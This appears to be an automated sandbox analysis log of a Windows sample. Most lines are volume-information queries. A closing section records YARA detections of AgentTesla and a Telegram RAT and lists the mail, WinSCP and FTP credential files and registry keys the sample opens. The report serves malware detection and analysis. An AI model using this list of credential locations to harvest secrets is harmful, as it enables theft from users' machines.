                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

                Stealing of Sensitive Information

                barindex
                Yara detected Telegram RAT
                Source: Yara matchFile source: 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe PID: 3984, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe PID: 6956, type: MEMORYSTR
                Yara detected AgentTesla
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.10.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.12.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.8.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.6.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.3613f70.5.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35dfb50.6.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.400000.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35dfb50.6.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.35a9930.7.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.3613f70.5.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0000000F.00000000.337227939.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000F.00000000.338699898.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000F.00000000.327062889.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000F.00000002.521016859.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.346406018.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000F.00000000.338146222.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe PID: 3984, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe PID: 6956, type: MEMORYSTR
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions
                Tries to harvest and steal ftp login credentials
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
